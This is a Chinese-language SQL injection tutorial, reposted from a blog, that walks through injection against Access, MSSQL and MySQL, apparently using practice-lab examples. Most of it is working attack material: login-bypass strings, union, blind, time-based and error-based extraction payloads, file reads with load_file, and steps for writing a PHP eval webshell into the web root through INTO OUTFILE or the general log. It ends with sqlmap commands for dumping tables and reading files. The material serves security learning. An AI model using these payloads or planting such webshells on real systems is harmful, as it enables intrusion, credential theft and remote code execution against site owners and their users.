SQL注入教程
转载自:https://blog.csdn.net/weixin_51047454/article/details/123533237
基础
sql语法基础
查看有哪些库:show databases;
• 选择一个库:use 库名;
• 查看选中的库下有哪些表:show tables;
• 增加一张表:
Create table user(
Id int primary key auto_increment,
username char(4) not null,
password char(4) not null
);
• 删除表:drop table user;
•增加一条数据:insert into table (id,username,password) values ('1','admin','123456') ;
• 删除一条数据:Delete from user where id=1;
• 更改一条数据:Update user set id='2',username='test' where id=1;
• 查询一条数据:select password from user where id=1;
• Order by:排序 升序:asc
(默认升序) 降序:desc
Limit:限制
○ Limt 数值
:只查询(数值)条记录
○ Limit 数值1,数值2
:数值1代表起始位置,数值2代表限制的长度
例:select * from user order by id asc;
例:select * from user order by id asc limit 2;
• UNION联合查询:
SELECT password FROM user UNION SELECT password FROM user2;
OR
SELECT 1,2,3,4 UNION SELECT password FROM user2;
.
注释
•MySQL/Oracle注释:
- 单行注释,
#
后面直接加内容 - 单行注释,
--
后面必须要加一个空格(或者任意一个字符) - 多行注释,
/*
注释内容,中间可以换行*/
• Access没有专门的注释符,但可以使用空字符"NULL"(%00)
代替
• concat(str1,str2…)
函数,直接连接
• group_concat(str1,str2…)
函数,使用都好做分隔符
• concat_ws(sep,str1,str2…)
函数,使用第一个参数作为分隔符
例:
sql注入漏洞产生的条件
-
参数可控
-
输入的数据可带入数据库
sql注入的分类
基于从服务器收到的响应
- 基于错误的注入
- 联合查询类型:网页有数据的回响位置
- 堆查询类型
- SQL盲注
- 基于布尔的SQL盲注:页面没有数据显示
- 基于时间的SQL盲注
- 基于报错的SQL盲注:页面有报错信息显示
- 延时注入:页面显示结果固定,通过页面加载的时间判断注入语句是否成功
基于数据库种类
- ACCESS注入
- MYSQL注入
- MSSQL注入
- ORACLE注入
- SQLITE注入
- NOSQL注入
- …
基于如何处理输入的SQL查询(数据类型)
- 基于字符串
- 数字或整数为基础的
- 基于搜索型
参数位置
get
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。post
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。cookie
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。http头部
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
注入方法
- 联合注入
使用条件:网页有数据的回显 - 布尔盲注
使用条件:网页没有数据的显示 - 报错注入
使用注入:网页有报错信息的显示
echo mysql_error() - 延时注入
使用条件:网页显示结果固定,需要通过页面加载的时间判断注入语句否成功
注入流程
- 判断数据库类型
- 注入条件判断(闭合字符)
http://1.1.1.1/index.php?id=1’ and 1=1#(and 1=2#)
- 判断字段数量
http://1.1.1.1/index.php?id=1’ order by 20
$sql = select \* from users where id=?
- 判断数据回显位置
$sql = select id,username,password from users where id=? union sql2
- 判断数据库名称
- 判断当前网页连接的数据库中的表名称
- 判断当前网页连接的数据库中的表的字段的名称
- 获取数据
万能密码
例如:
后端sql语句为:$sql="select * from member where username='&user' and passwd='&pwd'"
那么可以用到的万能密码有:
▪ admin' --
▪ admin' #
▪ admin'/\*
▪ ' or 1=1--
▪ ' or 1=1#
▪ ' or 1=1/\*
▪ ') or '1'='1--
▪ ') or ('1'='1--
ACCESS注入流程
判断
判断数据库为ACCESS或者MSSQL-82-access
and (select count(*) from msysobjects)>0
返回权限不足为access数据库 §and (select count(*) from MSysAccessObjects)>0
返回正确为access数据库 §and (select count(*) from sysobjects)>0
返回正常则为MSSQL数据库
方法
ACCESS只有一个数据库,直接猜解表名
方法一:联合查询法(兼容性差)
1.判断注入and 1=1
与 and 1=2
2.确定列名的数目:order by
3.猜解表名:union select 1,2,3,… from &表名&
4.猜解列名:union select 1,2,&列名1&,4,5,&列名2&,7… from &表名&
(id=-1 or and 1=2)
5.爆出数据
方法二:逐字猜解法(兼容性好)
1.判断注入
2.查询表名:and exists(select * from admin)
3.查询列名:and exists(select admin from admin)
4.先确定长度,再猜解数据:len()
、asc(mid(XX,1,1))
(ASCII:a-97 A-65)
注入实战
——>>传送门
MSSQL注入流程
默认数据库
函数
1.查看当前数据库:select db_name();
2.产看数据库版本:select @@version;
注入过程
- 爆库(依次添加每次爆出的数据就可以报错所有数据库)
SELECT name FROM master.sys.databases;
SELECT top 1 Name FROM Master..SysDatabases where name not in ('master');
- 爆字段(依次添加每次爆出的数据就可以报错所有字段)
select COLUMN_NAME from data_hbsmxx.information_schema.columns where TABLE_NAME='admin\_manage';
select top 1 COLUMN_NAME from data_hbsmxx.information_schema.columns where TABLE_NAME='admin\_manage' and column_name not in ('admin');
- 爆字段内容(依次添加每次爆出的数据就可以报错所有字段内容)
select admin,psw from data_hbsmxx.dbo.admin_manage;
select top 1 admin,psw from data_hbsmxx.dbo.admin_manage where admin not in ('admin');
MySql注入(重头戏)
mysql系统数据库
通用操作手册(☆)
- 给id:
Less-2/?id=1
- 判断是否可注入:
and 1=2
- order by 测数表长:
order by 3
union
拼接并显示虚拟表
- 用database()函数产看所在数据库名称,得到数据库名为:
security
- 通过查看tables表中table_name字段得到所在所在表名(这里及以下都用到group_concat()函数):
group_concat(table_name) from information_schema.tables where table_schema='security'
- 通过查看columns表中的column_name字段得到所在字段:
group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
- 到此我们得到数据库名:security、表名:users、字段名:id,username,password,所以我们可直接查字段内容:
group_concat(id,username,password) from security.users
(参考——>传送门)
cookie注入
原理:
有些网站通常会对GET及POST参数进行过滤,而忽略对COOKIE的过滤,事实 上,对COOKIE的过滤和拦截可能会导致正常用户使用上的麻烦,COOKIE是 http头的一个重要字段,是某些网站为了辨别用户身份、进行session跟踪而储 存在用户本地终端上的一段数据。COOKIE中携带的参数存在注入的称为 COOKIE注入。
抓包在cookie字段注入即可,详情——>传送门
宽字节注入
原理:
- PHP的配置文件有一个被称为魔术引号的配置选项magic_quote_gpc,当magic_quote_gpc=on的时候,这相当于PHP中使用了addslshes()函数,这个函数的功能是将单引号、双引号,反斜杠等进行转义,也就是将这些字符 前加一个反斜杠,那么当遇到字符型的注入点时就会因为无法引入单引号进行闭合,导致sql语句不能正确执行。
- 当网站采用GBK、EUC-KR、SJIS等宽字节字符集编码时,由于PHP转义字符 时采用单字节编码,而web传递给MYSQL时采用了多字节编码,这时就引发 了多字节编码漏洞。
- 当加入单引号时,经过php的转义函数会变成’,反斜杠的16进制编码是5c, 而mysql是按照多字节编码的,此时引入
%df
与5c
组合被解释成一个汉字 “運
”,从而相当于起到转义作用的被“吃”掉了,而单引号又恢复了它的 作用,从而达到绕过的效果。
详情——>传送门
基于布尔的注入
原理:基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True和False
常用函数:
mid(column_name,start,length)
:截取字符串一部分substr(string,start,length)
:与substring()一样,均为截取字符串left(string,length)
:得到字符串左部指定个数的字符
ord()
/ascii()
;字符转ASCII码值
ascii(mid(select group_concat(table_name) from information_schema.tables where table_schema=database(),1,1))>=101%23
( ASCII:
A→65,B→66,C→67,D→68,E→69,
F→70,G→71,H→72,I→73,J→74,
K→75,L→76,M→77,N→78,O→79,
P→80,Q→81,R→82,S→83,T→84,
U→85,V→86,W→87,X→88,Y→89,Z→90
a→97,b→98,c→99,d→100,e→101,
f→102,g→103,h→104,i→105,j→106,
k→107,l→108,m→109,n→110,o→111,
p→112,q→113,r→114,s→115,t→116,
u→117,v→118,w→119,x→120,y→121,z→122)
基于时间注入
用到函数:
if(条件,ture,false)
sleep(秒)
benchmark(50000000,md5(123))
:测试某些特定操作的执行速度,耗内存
步骤:
- 判断数据库名长度
and if(len(database()) > 10,sleep(10),1)
- 通过ASCII码逐个猜解数据库名
if(ascii(substring(database(),1,1)) >97 ,sleep(10),1)%23
- …….
(剩下的和布尔注入一样,根据页面回响信息试出表名、字段名和字段内容)
+
:如果想要试具体某个表的某个字段,可以用limit()函数,注意limit函数参数一从0开始
例一:查询第3个表的第3个字符
and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 2,1),3,1)) > 100 ,sleep(10),1)%23
例二:查询第2个表的第3列字段的第4个字符
and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='referers' limit 2,1),4,1))>96,sleep(5),1) %23
基于报错注入
- 原理:
mysql_error()
函数返回上一个 MySQL 操作产生的文本错误信息 - 常用函数:
updatexml()
extractvalue()
floor()
exp() - updatexml(参数1,参数2,参数3)
第一个代表文件或xml内容,第二个代表要查找的内容,第三个应该是要替换的内容。
运用到sql注入:
1、查库名:
and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
2、查表名:
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
3、查字段名:
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),0x7e),1)%23
4、查字段内容:
and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)%23
- extractvalue(参数1,参数2)
和updatexml()类似,该函数的作用是从目标XML中返回包含所查询值的字符串。可看成updatexml去除参数3 Ø 运用到sql注入:
1、查库名:
extractvalue(1,concat(0x7e,(select database()),0x7e))%23
2、查表名:
extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23
3、查字段名:
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),0x7e))%23
4、查字段内容:
and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e))%23
- floor()
rand()
、floor()
、group by
、count(*)
1、 rand()
rand() 是一个随机函数,通过一个固定的随机数的种子0之后,可以形成固定的伪随机序列。结果如下图所示:
2、floor()
floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是向下取整。
3、group by
group by 主要用来对数据进行分组(相同的分为一组)。
4、 count(*)
统计相同结构数量,可以和group by结合用
(我这就都只出现一次)
当执行以下代码时会出现报错:
select count(\*),floor(rand(0)\*2) x from users group by x;
(详情——>传送门)
->>
可利用floor()函数报错原理运用到sql注入当中:
1、查库名:
union select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a%23
2、查表名:
union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a%23
3、查字段名:
union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a%23
4、查字段内容:
union select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a%23
- exp()
+:
exp = exploits = 漏洞利用代码
poc = proof of concept = 概念证明
rce = remote command/code execute = 远程命令/代码执行漏洞
vul = vulnerable、vulnerability = 弱点、脆弱性
threat = 威胁
assets = 资产
risk = 风险
shellcode = 恶意代码(C、C++、Java、汇编…)
原理:
1、exp函数中参数超过709就会报错:select exp(709);
2、当exp里面的函数成功执行就会返回0,~0表示将0按位取反,0按位得到’18446744073709551615’明显于709,将会报错.
数值类型超出范围爆错:union select(exp(~(select * from(查询语句)a))),2,3
(mysql版本<5.5.53)
+:bigint溢出爆错:union select (!(select * from (查询语句)x)-~0),2,3
其他注入方式
读文件
- load_file()
- 条件:mysql secure_file_priv 配置项为空(不是NULL),即对数据读写没有限制
- 命令:
show variables like "%secure_file_priv%"
;
mysql.ini中修改:secure_file_priv=
- select load_file("/flag");
例:读取C盘下1.txt文件:
- load data infile
条件同上
语句读取指定文件内容,并存入数据库
例:
写文件
- select into outfile
条件
1、同上
2、知道web服务器路径:
@@basedir
Mysql存放路径
@@datadir
Mysql数据存放路径
步骤
1、写入木马文件(一句话木马)
select 1,2,'<?php @eval($_POST[123]);?>' into outfile 'C:/phpStudy/WWW/20211205.php'%23
2、运行木马
1)浏览器页面
2)工具
a.中国菜刀
b.蚁剑
- general log
1、查看 general log状态(默认关闭):
show variables like "%general%";
2、开启general log:
show variables like "%log_output%"; or set global log_output="FILE";
3、设置输出文件路径:
set global general_log_file="C:/phpstudy/www/shell.php";
show variables like "%general%";
4、开启 general log:
set global general_log=on;
5、写木马:
select "<?php @eval($_POST[123]);?>";
6、运行木马同上。
二次注入
- 原理:
在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是
addslashes有一个特点就是虽然参数在过滤后会添加 “” 进行转义,但是“”并不会插入到数据库中,在写入 数据库的时候还是保留了原
来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查 询的时候,直接从数据库中取出了脏数据,没有进
行进一步的检验和处理,这样就会造成 SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据 库中。然后
在下一次使用中在拼凑的过程中,就形成了二次注入。 - 二次注入源数据库代码(login_create.php)
$username= mysql_real_escape_string($_POST['username']) ; //①输入新用户名
$pass= mysql_real_escape_string($_POST['password']); //②新用户密码
$re_pass=mysql_real_escape_string($_POST['re\_password']); //③确认密码
$sql = "insert into users ( username, password) values("$username", "$pass")"; //④登陆新用户
$username= $_SESSION["username"]; //⑥修改密码的用户
$curr_pass= mysql_real_escape_string($_POST['current\_password']); /⑦/旧密码
$pass= mysql_real_escape_string($_POST['password']); //⑧新密码
$re_pass= mysql_real_escape_string($_POST['re\_password']); //⑨确认新密码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr\_pass' "; //⑩确认进行修改密码的用户
1、由代码①可以知道,当我们创建用户名为:admin’#时,数据库实际录入的用户名为:admin’#,由此实现“打一次注入”
2、接着就可以利用代码⑩的密码修改功能进行二次注入,原理:
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";
可以看到灰色部分实际上被注释掉,也就是说实际修改密码的用户是:admin,这样就实现了二次注入。
可以看到用户admin的密码被修改,这样我们就可以登陆admin用户了
sqlmap实战操作
基础命令
+ -h 展示帮助文档 参数
+ -hh 展示详细帮助文档 参数
+ –version 显示程序的版本号
+ -v 详细级别:0-6(默认为1) -u [url] 后跟域名
--current-db --batch
获取数据库名称信息
- 上图蓝色划线部分为sqlmap缓存路径:C:Users三三AppDataLocalsqlmap,“sqlmap”文件为缓存,我们可以写一个bat脚本方便清理缓存,代码:
rd /s/q "C:Users三三AppDataLocalsqlmap"
- -D [database] --table --batch 获取数据库中表单名称,[database]为所查数据库名称,例如security。
- -D [database] -T [table] --columns --batch 获取表中字段条目,[table]为查询条目所在表,例如users。
- -D [database] -T [table] -C [column1],[column2],[column3] --dump --batch 获取字段内容,[column]为字段条目,可同时查询多个,用逗号隔开。(也可以不加-T来查询指定的表,从而显示该数据库所有表的字段内容)
POST型
- 1、用BP抓包,保存内容到.txt文档,放在sqlmap目录下。如post.txt
- 2、查数据库:
sqlmap.py -r post.txt --dbs
(post.txt如果没有放到sqlmap目录就用绝对路径) -r表示加载一个文件,-p指定参数
- 3、查表
sqlmap.py -r post.txt -D security --tables
- 4、查字段
sqlmap.py -r post.txt -D security -T users --columns
- 5、查字段内容
sqlmap.py -r post.txt n -D security -T users -C “id,username,password” --dump
Cookie注入
- 1、查数据库:
python sqlmap.py -u "url" --cookie "uname=1" --level 2 --dbs
然后一直”y“下去
- 2、….接下来前面不变,后面参考post注入
tamper绕过
- 使用方法:
- sqlmap [options] --tamper “模块1,模块2,···”
- 模块功能:
- 详情——>传送门
例如:python sqlmap.py -u "url" --tamper=unmagicquotes --is-dba --batch
- 详情——>传送门
文件读取
- –file-read参数后跟着文件,例如:
py sqlmap.py -u "url" --data="uname=Dumb&passwd=Dumb&submit=Submit" --current-db --file-read C:/1.txt
(读取目标C盘下1.txt文件内容)
- 此为读取后文件本地存放位置
- sqlmap操作手册——>传送门
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。